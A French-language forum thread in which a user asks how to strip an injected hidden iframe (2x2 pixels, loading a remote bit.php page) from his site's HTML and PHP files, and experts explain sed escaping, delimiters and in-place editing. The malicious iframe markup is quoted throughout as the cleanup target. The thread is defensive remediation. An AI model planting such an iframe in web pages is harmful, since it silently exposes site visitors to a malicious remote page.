IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)
Navigation

Inscrivez-vous gratuitement
pour pouvoir participer, suivre les réponses en temps réel, voter pour les messages, poser vos propres questions et recevoir la newsletter

Shell et commandes GNU Discussion :

Suppression chaine de caractères


Sujet :

Shell et commandes GNU

  1. #1
    Membre à l'essai
    Homme Profil pro
    Formateur en informatique
    Inscrit en
    Janvier 2012
    Messages
    36
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Tarn (Midi Pyrénées)

    Informations professionnelles :
    Activité : Formateur en informatique
    Secteur : High Tech - Multimédia et Internet

    Informations forums :
    Inscription : Janvier 2012
    Messages : 36
    Points : 20
    Points
    20
    Par défaut Suppression chaine de caractères
    Bonjour,
    j'aimerai supprimer dans des fichiers html = ou php un morceau de code : <iframe src="http://www.skypka.com/bit.php" width="2" height="2" frameborder="0"></iframe> en utilisant putty mais malheureusement cette ligne de code contient des caractères spéciaux et cela ne fonctionne pas lorsque je fais la commande.
    cette ligne de code se place un peu partout dans mes fichiers et j'aimerai effacer ce bout de code et pas forcément donc la ligne entière.
    Si vous pouvez m'aider, vous me seriez d'une grand secours. Ensuite je sécuriserai mon hébergement contre cette attaque.
    j'ai essayé avec :
    find . -name "*" -type f -exec sed "/<iframe src="http://www.skypka.com/bit.php" width="2" height="2" frameborder="0"></iframe>/d" {}
    Cela ne fonctionne pas à cause des . / " ... et en plus c'est pour la ligne...
    Merci
    Laurent

  2. #2
    Expert confirmé
    Avatar de becket
    Profil pro
    Informaticien multitâches
    Inscrit en
    Février 2005
    Messages
    2 854
    Détails du profil
    Informations personnelles :
    Localisation : Belgique

    Informations professionnelles :
    Activité : Informaticien multitâches
    Secteur : Service public

    Informations forums :
    Inscription : Février 2005
    Messages : 2 854
    Points : 5 915
    Points
    5 915
    Par défaut
    si tu dois supprimer la ligne /d , tu doit protéger tes / et tes " en le préfixant d'un \

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
     
    find . -name "*" -type f -exec sed "/<iframe src=\"http:\/\/www.skypka.com\/bit.php\" width=\"2\" height=\"2\" frameborder=\"0\"><\/iframe>/d" {}
    Si tu dois effacer un morceau de la ligne avec s/, rien ne t'empecher d'utiliser un autre caractère

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
     
     sed 's/chaine/chainederemplacement/' fichier.txt
    peut aussi s'écrire

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
     
     sed 's|chaine|chainederemplacement|' fichier.txt

  3. #3
    Membre à l'essai
    Homme Profil pro
    Formateur en informatique
    Inscrit en
    Janvier 2012
    Messages
    36
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Tarn (Midi Pyrénées)

    Informations professionnelles :
    Activité : Formateur en informatique
    Secteur : High Tech - Multimédia et Internet

    Informations forums :
    Inscription : Janvier 2012
    Messages : 36
    Points : 20
    Points
    20
    Par défaut Suppression chaine de caractère
    Merci bcp.
    Je veux supprimer ce code qui se place n'importe où dans les fichiers.
    Je ne comprends pas bien pourquoi tu dis "rien ne t'empecher d'utiliser un autre caractère" ?
    est-ce que je peux faire ça :
    find . -name "*" -type f -exec sed 's "/<iframe src=\"http:\/\/www.skypka.com\/bit.php\" width=\"2\" height=\"2\" frameborder=\"0\"><\/iframe>/" {}

  4. #4
    Expert confirmé
    Avatar de becket
    Profil pro
    Informaticien multitâches
    Inscrit en
    Février 2005
    Messages
    2 854
    Détails du profil
    Informations personnelles :
    Localisation : Belgique

    Informations professionnelles :
    Activité : Informaticien multitâches
    Secteur : Service public

    Informations forums :
    Inscription : Février 2005
    Messages : 2 854
    Points : 5 915
    Points
    5 915
    Par défaut
    Citation Envoyé par lolo81100 Voir le message
    find . -name "*" -type f -exec sed 's "/<iframe src=\"http:\/\/www.skypka.com\/bit.php\" width=\"2\" height=\"2\" frameborder=\"0\"><\/iframe>/" {}
    Tu peux aussi mais tu as besoin d'un chaine de substitution pour que cela fonctionne même si cette chaine peut être vide.

    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    find . -name "*" -type f -exec sed 's "/<iframe src=\"http:\/\/www.skypka.com\/bit.php\" width=\"2\" height=\"2\" frameborder=\"0\"><\/iframe>/CHAINE/" {}

  5. #5
    Expert éminent sénior Avatar de disedorgue
    Homme Profil pro
    Ingénieur intégration
    Inscrit en
    Décembre 2012
    Messages
    4 287
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France

    Informations professionnelles :
    Activité : Ingénieur intégration
    Secteur : High Tech - Opérateur de télécommunications

    Informations forums :
    Inscription : Décembre 2012
    Messages : 4 287
    Points : 12 744
    Points
    12 744
    Par défaut
    Bonjour,

    Juste pour information, ceci n'effacera la ligne que sur la sortie standard pas dans le fichier.
    Cordialement.

  6. #6
    Membre à l'essai
    Homme Profil pro
    Formateur en informatique
    Inscrit en
    Janvier 2012
    Messages
    36
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Tarn (Midi Pyrénées)

    Informations professionnelles :
    Activité : Formateur en informatique
    Secteur : High Tech - Multimédia et Internet

    Informations forums :
    Inscription : Janvier 2012
    Messages : 36
    Points : 20
    Points
    20
    Par défaut Suppression chaine de caractère
    Je comprends pas :
    "Juste pour information, ceci n'effacera la ligne que sur la sortie standard pas dans le fichier" ?

  7. #7
    Expert éminent sénior Avatar de disedorgue
    Homme Profil pro
    Ingénieur intégration
    Inscrit en
    Décembre 2012
    Messages
    4 287
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France

    Informations professionnelles :
    Activité : Ingénieur intégration
    Secteur : High Tech - Opérateur de télécommunications

    Informations forums :
    Inscription : Décembre 2012
    Messages : 4 287
    Points : 12 744
    Points
    12 744
    Par défaut
    Par défaut, sed sort le résultat sur la sortie standard, il ne modifie pas le fichier en entrée si on ne lui précise pas.
    Cordialement.

  8. #8
    Membre à l'essai
    Homme Profil pro
    Formateur en informatique
    Inscrit en
    Janvier 2012
    Messages
    36
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Tarn (Midi Pyrénées)

    Informations professionnelles :
    Activité : Formateur en informatique
    Secteur : High Tech - Multimédia et Internet

    Informations forums :
    Inscription : Janvier 2012
    Messages : 36
    Points : 20
    Points
    20
    Par défaut
    Est-ce que vous pouvez juste me dire ce que je dois taper pour que s'efface ce morceau de code sans altérer mes fichiers ? parce que j'avoue que j'ai du mal à vous suivre...

  9. #9
    Expert éminent sénior Avatar de disedorgue
    Homme Profil pro
    Ingénieur intégration
    Inscrit en
    Décembre 2012
    Messages
    4 287
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France

    Informations professionnelles :
    Activité : Ingénieur intégration
    Secteur : High Tech - Opérateur de télécommunications

    Informations forums :
    Inscription : Décembre 2012
    Messages : 4 287
    Points : 12 744
    Points
    12 744
    Par défaut
    En exemple:
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    $ cat plip
    titi
    toto
    tutu
    $ sed '/toto/d' plip
    titi
    tutu
    $ cat plip
    titi
    toto
    tutu
    comme on peut le voir j'ai dit a sed de supprimer la ligne contenant toto du fichier plip, il m'affiche donc bien le contenu du fichier plip sans la ligne contenant toto, mais lorsque je regarde dans le fichier plip, la ligne toto est toujours là...
    Cordialement.

  10. #10
    Membre à l'essai
    Homme Profil pro
    Formateur en informatique
    Inscrit en
    Janvier 2012
    Messages
    36
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Tarn (Midi Pyrénées)

    Informations professionnelles :
    Activité : Formateur en informatique
    Secteur : High Tech - Multimédia et Internet

    Informations forums :
    Inscription : Janvier 2012
    Messages : 36
    Points : 20
    Points
    20
    Par défaut
    C'est donc pas ce que je désire. Je veux supprimé le morceau de code au final.
    Y a t'il un moyen de le faire...
    En tout cas merci pour votre aide !

  11. #11
    Expert éminent sénior Avatar de disedorgue
    Homme Profil pro
    Ingénieur intégration
    Inscrit en
    Décembre 2012
    Messages
    4 287
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France

    Informations professionnelles :
    Activité : Ingénieur intégration
    Secteur : High Tech - Opérateur de télécommunications

    Informations forums :
    Inscription : Décembre 2012
    Messages : 4 287
    Points : 12 744
    Points
    12 744
    Par défaut
    Bon, voici une commande qui devrait fonctionner à l'écran:
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    find . -name "*" -type f -exec sed 's#<iframe src="http://www.skypka.com/bit.php" width="2" height="2" frameborder="0"></iframe>##g' {} \;
    Comme tu peux le voir, ici j'ai utilisé le caractère '#' comme séparateur pour la commande s de sed car celui-ci ne fait pas partie de l'expression à rechercher.
    Mais comme je disais plus haut, ceci ne fera les changements que sur la sortie standard (donc à l'écran, si tu la tape tel quel dans ton putty).
    Cordialement.

  12. #12
    Expert éminent sénior Avatar de disedorgue
    Homme Profil pro
    Ingénieur intégration
    Inscrit en
    Décembre 2012
    Messages
    4 287
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France

    Informations professionnelles :
    Activité : Ingénieur intégration
    Secteur : High Tech - Opérateur de télécommunications

    Informations forums :
    Inscription : Décembre 2012
    Messages : 4 287
    Points : 12 744
    Points
    12 744
    Par défaut
    Pour modifier directement avec sed, il faut lui dire via l'option '-i':
    Code : Sélectionner tout - Visualiser dans une fenêtre à part
    find . -name "*" -type f -exec sed -i 's#<iframe src="http://www.skypka.com/bit.php" width="2" height="2" frameborder="0"></iframe>##g' {} \;
    Mais attention, ici pas le droit à l'erreur car le fichier sera modifié.Donc le faire avant sans l'option pour vérifier.
    Cordialement.

  13. #13
    Membre à l'essai
    Homme Profil pro
    Formateur en informatique
    Inscrit en
    Janvier 2012
    Messages
    36
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Tarn (Midi Pyrénées)

    Informations professionnelles :
    Activité : Formateur en informatique
    Secteur : High Tech - Multimédia et Internet

    Informations forums :
    Inscription : Janvier 2012
    Messages : 36
    Points : 20
    Points
    20
    Par défaut
    Merci bcp. je l'essaye ce soir !

  14. #14
    Membre à l'essai
    Homme Profil pro
    Formateur en informatique
    Inscrit en
    Janvier 2012
    Messages
    36
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Tarn (Midi Pyrénées)

    Informations professionnelles :
    Activité : Formateur en informatique
    Secteur : High Tech - Multimédia et Internet

    Informations forums :
    Inscription : Janvier 2012
    Messages : 36
    Points : 20
    Points
    20
    Par défaut
    Génial, ça marche parfaitement !!!
    Merci de votre aide précieuse !
    Laurent

  15. #15
    Expert confirmé
    Homme Profil pro
    Développeur informatique en retraite
    Inscrit en
    Avril 2008
    Messages
    2 101
    Détails du profil
    Informations personnelles :
    Sexe : Homme
    Localisation : France, Côtes d'Armor (Bretagne)

    Informations professionnelles :
    Activité : Développeur informatique en retraite

    Informations forums :
    Inscription : Avril 2008
    Messages : 2 101
    Points : 5 849
    Points
    5 849
    Par défaut
    Citation Envoyé par lolo81100 Voir le message
    Est-ce que vous pouvez juste me dire ce que je dois taper pour que s'efface ce morceau de code sans altérer mes fichiers ? parce que j'avoue que j'ai du mal à vous suivre...
    Citation Envoyé par lolo81100 Voir le message
    C'est donc pas ce que je désire. Je veux supprimé le morceau de code au final.
    Y a t'il un moyen de le faire...
    Je t'invite à vérifier la cohérence de tes demandes!

    De manière à bien comprendre ce qui se passe:

    Lorsqu'on "filtre" un fichier (avec "sed" sans l'option "-i"), on en affiche une partie (par exemple, afficher toutes les lignes sauf celles contenant tel motif). Cette opération ne modifie pas le contenu du fichier.

    Lorsqu'on utilise l'option "-i" de "sed", on peut dire (d'une certaine manière (pour simplifier)) qu'on lui demande le même travail (afficher une partie) et on lui demande de réinjecter ce qu'il a affiché dans le fichier. On appelle ça "éditer ou modifier ou altérer le fichier". Et c'est bien ce que tu voulais faire!

    Grâces soient rendues à la patience et l'efficacité de disedorgue

+ Répondre à la discussion
Cette discussion est résolue.

Discussions similaires

  1. [sed] Suppression chaine de caractère après une chaine fixe
    Par Fabiendst dans le forum Shell et commandes GNU
    Réponses: 5
    Dernier message: 14/01/2015, 20h59
  2. Réponses: 4
    Dernier message: 06/10/2014, 11h22
  3. problème d'insértion et de suppression dans une chaine de caractère.
    Par othmane126 dans le forum VB 6 et antérieur
    Réponses: 2
    Dernier message: 19/08/2006, 19h54
  4. Réponses: 18
    Dernier message: 27/06/2006, 18h37
  5. Réponses: 7
    Dernier message: 17/09/2005, 23h38

Partager

Partager
  • Envoyer la discussion sur Viadeo
  • Envoyer la discussion sur Twitter
  • Envoyer la discussion sur Google
  • Envoyer la discussion sur Facebook
  • Envoyer la discussion sur Digg
  • Envoyer la discussion sur Delicious
  • Envoyer la discussion sur MySpace
  • Envoyer la discussion sur Yahoo